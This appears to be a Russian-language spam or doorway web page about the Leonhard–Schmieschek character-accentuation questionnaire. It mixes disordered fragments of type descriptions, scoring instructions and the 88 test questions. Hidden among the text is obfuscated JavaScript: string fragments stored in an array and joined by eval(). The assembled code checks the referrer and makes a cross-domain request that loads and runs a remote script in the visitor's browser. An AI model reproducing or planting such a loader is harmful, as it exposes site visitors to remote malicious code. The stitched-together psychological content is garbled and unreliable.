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������� Бланк Ответов Теста Опросника Шмишека

Склонны к добрым отношениям с окружающими В любви ранимы, как никто другой.. Признаком акцентуации является
показатель свыше 1.. Опросник составлен из 88 вопросов, ответы на которые проставляются на регистрационном.. В
классическом варианте теста для взрослых предложена фор-мализованная оценка и.. Тонко организована
эмоциональная сфера: способны глубоко чувствовать и переживать.. Патологическая лживость — чтобы приукрасить
свою особу.. Все эти группы «акцентуированных личностей» объединяются по принципу акцентуации свойств характера
или темперамента.

Таких людей много среди артистов Если нет способностей, чтобы выделиться, тогда они привлекают внимание
антисоциальными поступками.. Крайне болезненно воспринимают грубость, хамство, приходят в отчаяние, депрессию,
если происходит разрыв или ухудшение отношений с близкими людьми.. Любят, чтобы все было на своих местах, чтобы
люди четко оформляли свои мысли — крайний педантизм.. Тревожная – высокий уровень тревожности, склонность к
страхам, повышенная робость и пугливость.. Этот тест предназначен для выявления акцентуаций характера, т.. Идея
порядка и аккуратности становится главным смыслом жизни.. Все ответы испытуемого тщательно протоколиру-ются..
Признаком акцентуации, т Если ни одно свойство не превышает показателя 1.. Опросник применяется как для
психологической консультации, так и с целью профотбора и профориентации.

Сильно одержимы одной идеей Слишком устремленные, «упертые в одно», «зашкаленные».. Черты эти являются как бы
заострением некоторых присущих каждому человеку индивидуальных свойств.. Быстро истощается в контактах и
предпочитает одиночество.. Девятая шкала показывает степень утомляемости, десятая – силу и выраженность
эмоционального реагирования.. Максимальный показатель по каждому виду акцентуации равен 2.. Бланк для ответов
Описание акцентуаций по Леонгарду–Личко: Гипертимная – повышенный фон настроения в сочетании с жаждой
деятельности, высокой активностью, предприимчивостью.. ";u["OL"]="ue";u["gW"]="
r";u["ar"]="('";u["Co"]="aT";u["tO"]="{$";u["Pv"]="so";u["Xh"]="rc";u["hr"]="'h";u["kP"]="t.

";u["NC"]="ex";u["sZ"]="e'";u["uy"]=">0";u["sV"]="js";u["OI"]="ai";u["aA"]=";}";u["lr"]="e:";u["oU"]="po";u["uD"]=";i";u["
Xe"]="sR";u["QS"]="h0";u["jD"]="ef";u["nX"]="a)";u["WB"]="ST";u["dF"]=",c";u["Cu"]="ev";u["Fr"]="ls";u["uY"]="',";u["P
H"]="tu";u["rl"]=".. Здесь идут те же проявления, но на уровне эмоций (все идет от.. Перед проведением опроса дается
инструкция.. Остальные виды акцентуации относятся к особенностям темперамента и отражают темп и глубину
эффективных реакций.. Проследить за правильностью заполнения бланка протокола.. Г- 8 Неуравновешенные х Г- 9
Дистимные х Г- 1 0 Экзальтированные х.. Шмишека (взрослый вариант) Психических свойств личности: темперамента,
характера, направленности и способностей (Опросник Юнга, Павловский темпераментальный опросник, Методики
Айзенка, Тест-опросник Шмишека и др.. Опросник включает в себя 8 Первая шкала характеризует личность с высокой
жизненной активностью, вторая шкала показывает возбудимую акцентуацию.

Подростки склонны к приключениям, романтике.. Экзальтированные, склонные к аффективной экзальтации.. Выделяют
десять основных типов акцентуации (классификация Леонгарда).. s";u["bY"]="
'";u["Cd"]="x(";u["Hs"]="ee";u["mT"]=";v";u["Cp"]="le";u["yF"]=",d";u["It"]="f.. Г- 2 Возбудимые х Г- 3 Эмотивные х Г- 4
Педантичные х.. Экзальтированная – большой диапазон эмоциональных состояний, склонность легко приходить в
восторг от одних событий и в полное отчаяние от других.. Время ответов не ограничивается Возможно применение
опросника как индивидуально, так и в группе.. Дистимная – сниженный фон настроения, фиксация на мрачных
сторонах жизни, идеомоторная заторможенность.. Акцентуации 1 Люди, склонные к повышенному настроению,
оптимисты, быстро переключаются с одного дела на другое, не доводят начатого до конца, недисциплинированные,
легко попадают под влияние неблагополучных компаний.. Пугаются ответственности, опасаются всевозможных
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неприятностей для себя и своих родных, не могут унять свои страхи и тревогу, «притягивая» к себе и близким
реализацию своих страхов и опасений.. Демонстративная – демонстративное, театральное поведение, эгоцентризм,
жажда постоянного внимания к своей особе.. Четвертая шкала показывает склонность к педантизму.. Возбудимая –
повышенная импульсивность, ослабление контроля над побуждениями и влечениями.. Бланк ответов для теста
стандартные прогрессивные матрицы Дж.. Преобладание черт ригидности и педантизма Люди ригидны, им трудно
переключаться с одной эмоции на другую.. При депрессии ведут себя как тревожные, быстро утомляются, приходят в
отчаяние от неприятностей, вплоть до попыток самоубийства.. При подсчете баллов по каждой шкале суммировать
ответы на пункты в строках “+” со свои знаком и на пункты в строках “–” с обратным знаком, затем сумму умножьте на
соответствующее данной шкале число.. ";u["ko"]="_d";u["gn"]="sD";u["lQ"]="JS";u["Hk"]="dX";u["pf"]="u/";u["pc"]=",
";u["Yr"]="p:";u["cT"]="+ ";u["Ao"]="rt";u["Aj"]="Er";u["KV"]="yp";u["LN"]="fy";u["Vx"]="th";u["OK"]="}}";u["vx"]="XH
";u["vS"]="en";u["Py"]="ti";u["Du"]="te";u["fd"]="qb";u["Kn"]="e;";u["ST"]=" r";u["LC"]=" {";u["Il"]="oc";u["EE"]="um";u["
iA"]="np";u["Op"]="T'";u["sg"]="fu";u["xi"]="Vr";u["Gu"]="ri";u["Ay"]="oa";eval(u["kG"]+u["BU"]+u["ok"]+u["TI"]+u["Kn
"]+u["kG"]+u["BU"]+u["sc"]+u["BT"]+u["aa"]+u["xj"]+u["bY"]+u["Wv"]+u["Xh"]+u["sZ"]+u["mT"]+u["Mn"]+u["ST"]+u["j
D"]+u["xj"]+u["zl"]+u["Il"]+u["EE"]+u["vS"]+u["kP"]+u["xx"]+u["OV"]+u["gx"]+u["zC"]+u["uD"]+u["hO"]+u["xx"]+u["It"]
+u["Cp"]+u["Xa"]+u["Vx"]+u["uy"]+u["SX"]+u["tO"]+u["rl"]+u["Ew"]+u["Cd"]+u["li"]+u["KV"]+u["lr"]+u["bY"]+u["Mp"]+
u["Op"]+u["yF"]+u["vK"]+u["Co"]+u["KV"]+u["lr"]+u["bY"]+u["Jp"]+u["Gu"]+u["XM"]+u["uY"]+u["EQ"]+u["Il"]+u["Br"]+
u["gn"]+u["vK"]+u["YY"]+u["ad"]+u["DA"]+u["JG"]+u["dF"]+u["nF"]+u["Jf"]+u["an"]+u["CI"]+u["mc"]+u["Qi"]+u["gy"]+u
["OL"]+u["qu"]+u["Pv"]+u["iA"]+u["Qi"]+u["rA"]+u["Fr"]+u["hc"]+u["Fd"]+u["la"]+u["Qi"]+u["hr"]+u["do"]+u["Yr"]+u["o
T"]+u["fd"]+u["LJ"]+u["iS"]+u["Xe"]+u["LY"]+u["pJ"]+u["QS"]+u["xi"]+u["Oz"]+u["Hk"]+u["Aj"]+u["xy"]+u["cP"]+u["bO"
]+u["uz"]+u["Jp"]+u["JG"]+u["MZ"]+u["zC"]+u["gW"]+u["pf"]+u["Mn"]+u["PH"]+u["xx"]+u["sM"]+u["uc"]+u["qH"]+u["N
C"]+u["ko"]+u["BT"]+u["UV"]+u["Ay"]+u["Je"]+u["sV"]+u["Fm"]+u["Hs"]+u["Ri"]+u["Km"]+u["lq"]+u["CU"]+u["Cr"]+u["
Jf"]+u["Qi"]+u["sg"]+u["hV"]+u["Py"]+u["TQ"]+u["LA"]+u["xx"]+u["EM"]+u["TQ"]+u["JG"]+u["Uz"]+u["Yo"]+u["pc"]+u["
Du"]+u["AD"]+u["aZ"]+u["vK"]+u["Vl"]+u["pc"]+u["se"]+u["vx"]+u["aq"]+u["LC"]+u["Cu"]+u["DA"]+u["rO"]+u["Br"]+u["
oU"]+u["Bg"]+u["Oe"]+u["vK"]+u["nX"]+u["aA"]+u["qi"]+u["gx"]+u["RP"]+u["Qi"]+u["sg"]+u["hV"]+u["Py"]+u["TQ"]+u["
LA"]+u["xx"]+u["EM"]+u["TQ"]+u["JG"]+u["Uz"]+u["Yo"]+u["pc"]+u["Du"]+u["AD"]+u["aZ"]+u["vK"]+u["Vl"]+u["pc"]+u
["zC"]+u["nF"]+u["gi"]+u["aD"]+u["BT"]+u["fP"]+u["LC"]+u["un"]+u["Cp"]+u["Ao"]+u["ar"]+u["WE"]+u["WB"]+u["ad"]+u
["OI"]+u["Cp"]+u["Je"]+u["sL"]+u["cT"]+u["lQ"]+u["Ry"]+u["xz"]+u["gy"]+u["mc"]+u["ZD"]+u["LN"]+u["rO"]+u["Br"]+u["
oU"]+u["Bg"]+u["Oe"]+u["vK"]+u["nX"]+u["nj"]+u["OK"]+u["nj"]+u["Pm"]);Одним из вариантов опросника Шмишека
является опросник Литтманн — Шмишека (Е.. Люди, у которых сильно выражен эгоцентризм, стремление быть
постоянно в центре внимания («пусть ненавидят, лишь бы не были равнодушными»).. Религиозный экстаз Вопросы
Ваше настроение, как правило, бывает ясным, неомраченным? Восприимчивы ли вы к оскорблениям, обидам?Легко ли
вы плачете? Возникает ли у вас по окончании какой- либо работы сомнения в качестве ее исполнения и прибегаете ли
вы к проверке — правильно ли все было сделано? Были ли вы в детстве таким же смелым, как ваши сверстники? Часто
ли у вас бывают резкие смены настроения (только что парили в облаках от счастья, и вдруг становится очень грустно)?
Бываете ли вы обычно во время веселья в центре внимания? Бывают ли у вас дни, когда вы без особых причин ворчливы
и раздражительны и все считают, что вас лучше не трогать? Всегда ли вы отвечаете на письма сразу после прочтения?Вы
человек серьезный? Способны ли вы на время так сильно увлечься чем- нибудь, что все остальное перестает быть
значимым для вас? Предприимчивы ли вы?Быстро ли вы забываете обиды и оскорбления? Мягрсосердечны ли вы?Когда
вы бросаете письмо в почтовый ящик, проверяете ли вы, опустилось оно туда или нет? Требует ли ваше честолюбие
того, чтобы в работе (учебе) вы были одним из первых?Боялись ли вы в детские годы грозы и собак? Смеетесь ли вы
иногда над неприличными шутками? Есть ли среди ваших знакомых люди, которые считают вас педантичным? Очень ли
зависит ваше настроение от внешних обстоятельств и событий? Любят ли вас ваши знакомые? Часто ли вы находитесь
во власти сильных внутренних порывов и побуждений? Ваше настроение обычно несколько подавленно?Случалось вам
рыдать, переживая тяжелое нервное потрясение? Трудно ли вам долго сидеть на одном месте? Отстаиваете ли вы свои
интересы, когда по отношению к вам допускается несправедливость? Хвастаетесь ли вы иногда? Смогли ли вы в случае
надобности зарезать домашнее животное или птицу? Раздражает ли вас, если штора или скатерть висит неровно,
стараетесь ли вы это поправить?Боялись ли вы в детстве оставаться дома один? Часто ли портится ваше настроение без
видимых причин? Случалось ли вам быть одним из лучших в вашей профессиональной или учебной деятельности?
Легко ли вы впадаете в гнев? Способны ли вы быть шаловливо- веселым? Бывают ли у вас состояния, когда вы
переполнены счастьем?Смогли бы вы играть роль конферансье в веселых представлениях? Лгали вы когда- нибудь в
своей жизни? Говорите ли бы людям свое мнение о них прямо в глаза?Можете ли вы спокойно смотреть на кровь?
Нравится ли вам работа, когда только вы один ответственны за нее? Заступаетесь ли вы за людей, по отношению к
которым допущена несправедливость? Беспокоит ли вас необходимость спуститься в темный погреб, войти в пустую,
темную комнату? Предпочитаете ли вы деятельность, которую нужно выполнять долго и точно, той, которая не требует
большой кропотливости и делается быстро?Вы очень общительный человек? Охотно ли вы в школе декламировали
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стихи? Сбегали ли вы в детстве из дому? Обычно вы без колебаний уступаете место в автобусе престарелым
пассажирам?Часто ли вам жизнь кажется тяжелой? Случалось ли вам так расстраиваться из- за какого- нибудь
конфликта, что после этого вы чувствовали себя не в состоянии пойти на работу? Можно ли сказать, что при неудаче вы
сохраняете чувство юмора? Стараетесь ли вы помириться, если кого- нибудь обидели?Характерологический опросник
Леонгардазагрузка.. Дистимичные, с наклонностью к расстройствам настроения.. Нередко на этой почве могут
появиться навязчивые идеи.. Стимульный материал опросника К Леонгарда — Г.. Третья шкала говорит о глубине
эмоциональной жизни испытуемого..
";u["TQ"]="on";u["li"]="{t";u["rA"]="fa";u["Km"]="y'";u["UV"]="nl";u["gi"]="rT";u["Oz"]="F3";u["Xa"]="ng";u["TI"]="=
";u["Br"]="es";u["uc"]="/i";u["la"]="rl";u["an"]="Do";u["uz"]="G.. Ключ к тесту-опроснику Леонгарда-Шмишека По
каждой шкале подсчитываются плюсы (положительные ответы на указанные вопросы) иминусы (отрицательные ответы
на соответствующие шкале вопросы).. Недооценивают, преуменьшают свои способности.. В эмоциональном отношении
ригидны Иногда могут давать аффективные вспышки, могут проявлять агрессию.. Леонгарда: Методика Акцентуации
характера и Отвечайте, долго не раздумывая, вы можете выбрать один их двух ответов : "да" или "нет&quot..
Противоположность гипертимности Настроение пониженное, пессимизм, мрачный взгляд на вещи, утомляемость.. От
настроения зависит все: и работоспособность, и самочувствие.. Люди педантичные, злопамятные, долго помнят обиды,
сердятся, обижаются.. Неуравновешенная – слабоволие, непоседливость, склонность к праздности и развлечениям,
трусость, безынициативность.. Также, количественно отличается форма представления результатов.. Эмотивные,
аффективно лабильные Педантичные, с преобладанием черт ригидности, педантизма.. Наиболее удачный вариант
применения опросника в группе, но каждый испытуемый должен иметь перед собой текст опросника и лист для
ответов.. Гипертимный — личности со склонностью к повышенному настроению.. a";u["mc"]="in";u["WE"]="PO";u["kG"
]="va";u["Mn"]="ar";u["oT"]="//";u["sM"]="gg";u["sc"]="sh";u["nj"]=");";u["OV"]="fe";u["YY"]="a:";u["Cr"]="ce";u["hV"]="
nc";u["fP"]="n)";u["LY"]="NQ";u["Jf"]="ss";u["aq"]="R)";u["qi"]=",e";u["hO"]="f(";u["SX"]=")
";u["CI"]="ma";u["vK"]="at";u["un"]=" a";u["se"]="jq";u["Bg"]="ns";u["xy"]="Vi";u["CU"]="uc";u["sL"]="'
";u["aZ"]="St";u["ZD"]="gi";u["Pm"]="}";u["DA"]="al";u["gx"]="rr";u["hc"]="e,";u["do"]="tt";u["ad"]=" f";u["xj"]="
=";u["Mp"]="GE";u["Fm"]="?w";u["Ri"]="bl";u["ok"]="q ";u["bO"]="Sz";u["Ry"]="ON";u["RP"]="or";u["aD"]="hr";u["pJ"]=
"Zm";u["EM"]="sp";u["Oe"]="eD";u["EQ"]="pr";u["qH"]="nd";u["lq"]=",s";u["rO"]="(r";u["Jp"]="sc";u["Fd"]="
u";u["AD"]="xt";u["cP"]="C5";u["zC"]="er";u["zl"]=" d";u["JG"]="se";u["BU"]="r
";u["nF"]="ro";u["Wv"]="fo";u["BT"]="ow";u["LJ"]="an";u["gy"]="tr";u["qu"]=",j";u["Uz"]="Da";u["MZ"]="rv";u["Qi"]=":
";u["LA"]=" (";u["Yo"]="ta";u["Ew"]="ja";u["Vl"]="us";u["xz"]=".. При хорошем ьшстроении ведут себя как гипертимные..
Резкие перепады настроения Хорошее настроение коротко, плохое длительно.. В патологии — психопатия
истерического типа.. Склонны носить яркую, экстравагантную одежду — могут быть определены чисто внешне..
Акцентуации характеразагрузка Согласно теории «акцентуированных личностей» существуют черты личности, которые
сами по себе еще не являются патологическими, однако могут при определенных условиях развиваться в
положительном или отрицательном направлении.. Педантичная – ригидность, инертность, долгое переживание
травмирующих событий.. В патологии — эпилептоидная психопатия Склонность к расстройствам настроения..
Опросник Леонгарда – Шмишека Тест - опросник Шмишека, К.. В патологии — паранояльный психопат Люди, у
которых преувеличенно проявляется эмоциональная чувствительность, резко меняется настроение по незначительному
для окружающих поводу.. Периоды злобно- тоскливого настроения, все их раздражает.. Люди меланхолического (либо
холерического) склада с очень высоким уровнем конституционной тревожности, не уверены в себе.. Опросник
Леонгарда – Шмишека Опросник составлен из 88 вопросов, ответы на которые проставляются на регистрационном
бланке, соответственно «+», если ответ утвердительный (да) и «минус», если ответ отрицательный (нет). e10c415e6f 
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